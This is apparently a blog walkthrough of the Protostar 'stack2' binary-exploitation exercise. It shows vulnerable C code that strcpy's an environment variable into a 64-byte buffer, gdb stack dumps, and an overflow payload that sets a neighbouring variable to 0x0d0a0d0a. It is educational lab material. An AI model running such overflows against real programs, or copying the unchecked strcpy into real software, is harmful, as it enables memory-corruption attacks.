Stack2 looks at environment variables, and how they can be set.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
I managed to solve this after watching this video (highly recommended that you watch this first) a couple times, I will be using the gdb
debugging technique as demonstrated in the video.
First we set the environment variable with the export
command:
export GREENIE=BBAA
We then open up gdb ./stack2
then set 2 breakpoints at before and after strcpy
.
(gdb) disas main
Dump of assembler code for function main:
...
0x080484df <main+75>: call 0x804839c <strcpy@plt>
0x080484e4 <main+80>: mov eax,DWORD PTR [esp+0x58]
...
End of assembler dump.
(gdb) break *0x080484df
Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20.
(gdb) break *0x080484e4
Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.
After that we run the program, because I used the hook-stop
shown in the video, I can conviniently see the stack at each breakpoint, here’s the stack before strcpy
is run:
0xbffff730: 0xbffff748 0xbffffa00 0xb7fff8f8 0xb7f0186e
0xbffff740: 0xb7fd7ff4 0xb7ec6165 0xbffff758 0xb7eada75
0xbffff750: 0xb7fd7ff4 0x08049748 0xbffff768 0x08048358
0xbffff760: 0xb7ff1040 0x08049748 0xbffff798 0x08048549
0xbffff770: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff798
0xbffff780: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffffa00
Here’s after strcpy
copied $GREENIE
environment variable (with the value BBAA
which translates into 0x41414242
) into buffer[64]
:
0xbffff730: 0xbffff748 0xbffffa00 0xb7fff8f8 0xb7f0186e
0xbffff740: 0xb7fd7ff4 0xb7ec6165 0x41414242 0xb7eada00
0xbffff750: 0xb7fd7ff4 0x08049748 0xbffff768 0x08048358
0xbffff760: 0xb7ff1040 0x08049748 0xbffff798 0x08048549
0xbffff770: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff798
0xbffff780: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffffa00
We see that it gets copied into 0xbffff748
(which is the third column of the 0xbffff740
row). We also see that the modified
variable with the value 0
is possibly at 0xbffff788
, counting the “distance” between the two variables, it sums up to 64 total chars. Knowing this, let’s change the $GREENIE
variable and then restart from the beginning:
export GREENIE=$(python -c "str = 'A'*64; str += 'BBBB'; print str")
Now we look at the stack after strcpy
ran:
0xbffff6f0: 0xbffff708 0xbffff9c0 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0x41414141 0x41414141
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff740: 0x41414141 0x41414141 0x42424242 0xbffff900
We see that BBBB
actually gets in 0xbffff788
, if we try to continue the program we get:
(gdb) c
Continuing.
Try again, you got 0x42424242
Now if we look at the source code, we need to change the value of 0xbffff788
into 0x0a0d0a0d
. I found this article and learned how to echo simple binary data. With using subcommands, we can put it in the $GREENIE
environment variable!
export GREENIE=$(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d")
We check the contents of $GREENIE
:
user@protostar:/opt/protostar/bin$ printf %s "$GREENIE" | hexdump -Cv
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000040 0a 0d 0a 0d |....|
00000044
Nice, our last 4 bytes are 0x0d0a0d0a
(little endian) just like how the source wants it. Now we try to run it in gdb
and look at the stack after strcpy
:
0xbffff6f0: 0xbffff708 0xbffff9c0 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0x41414141 0x41414141
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff740: 0x41414141 0x41414141 0x0d0a0d0a 0xbffff900
Continue until it’s done:
(gdb) c
Continuing.
you have correctly modified the variable
We can also just run it normally since environment variables are accessible to all processes:
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
user@protostar:/opt/protostar/bin$ export GREENIE=$(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d")
user@protostar:/opt/protostar/bin$ gdb ./stack2
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack2...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>x/2i $eip
>end
(gdb) disas main
Dump of assembler code for function main:
0x08048494 <main+0>: push ebp
0x08048495 <main+1>: mov ebp,esp
0x08048497 <main+3>: and esp,0xfffffff0
0x0804849a <main+6>: sub esp,0x60
0x0804849d <main+9>: mov DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>: call 0x804837c <getenv@plt>
0x080484a9 <main+21>: mov DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>: cmp DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>: jne 0x80484c8 <main+52>
0x080484b4 <main+32>: mov DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>: mov DWORD PTR [esp],0x1
0x080484c3 <main+47>: call 0x80483bc <errx@plt>
0x080484c8 <main+52>: mov DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>: mov eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>: mov DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>: lea eax,[esp+0x18]
0x080484dc <main+72>: mov DWORD PTR [esp],eax
0x080484df <main+75>: call 0x804839c <strcpy@plt>
0x080484e4 <main+80>: mov eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>: cmp eax,0xd0a0d0a
0x080484ed <main+89>: jne 0x80484fd <main+105>
0x080484ef <main+91>: mov DWORD PTR [esp],0x8048618
0x080484f6 <main+98>: call 0x80483cc <puts@plt>
0x080484fb <main+103>: jmp 0x8048512 <main+126>
0x080484fd <main+105>: mov edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>: mov eax,0x8048641
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) break *0x080484df
Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20.
(gdb) break *0x080484e4
Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/stack2
0xbffff6f0: 0xbffff708 0xbffff9c0 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0xb7eada75
0xbffff710: 0xb7fd7ff4 0x08049748 0xbffff728 0x08048358
0xbffff720: 0xb7ff1040 0x08049748 0xbffff758 0x08048549
0xbffff730: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff758
0xbffff740: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffff9c0
0x80484df <main+75>: call 0x804839c <strcpy@plt>
0x80484e4 <main+80>: mov eax,DWORD PTR [esp+0x58]
Breakpoint 1, 0x080484df in main (argc=1, argv=0xbffff804) at stack2/stack2.c:20
20 stack2/stack2.c: No such file or directory.
in stack2/stack2.c
(gdb) c
Continuing.
0xbffff6f0: 0xbffff708 0xbffff9c0 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0x41414141 0x41414141
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff740: 0x41414141 0x41414141 0x0d0a0d0a 0xbffff900
0x80484e4 <main+80>: mov eax,DWORD PTR [esp+0x58]
0x80484e8 <main+84>: cmp eax,0xd0a0d0a
Breakpoint 2, main (argc=1, argv=0xbffff804) at stack2/stack2.c:22
22 in stack2/stack2.c
(gdb) c
Continuing.
you have correctly modified the variable
Program exited with code 051.
Error while running hook_stop:
No registers.
(gdb)
‹ Previous in Binary exploitation: Protostar - stack1 | Next in Binary exploitation: Protostar - stack3 › |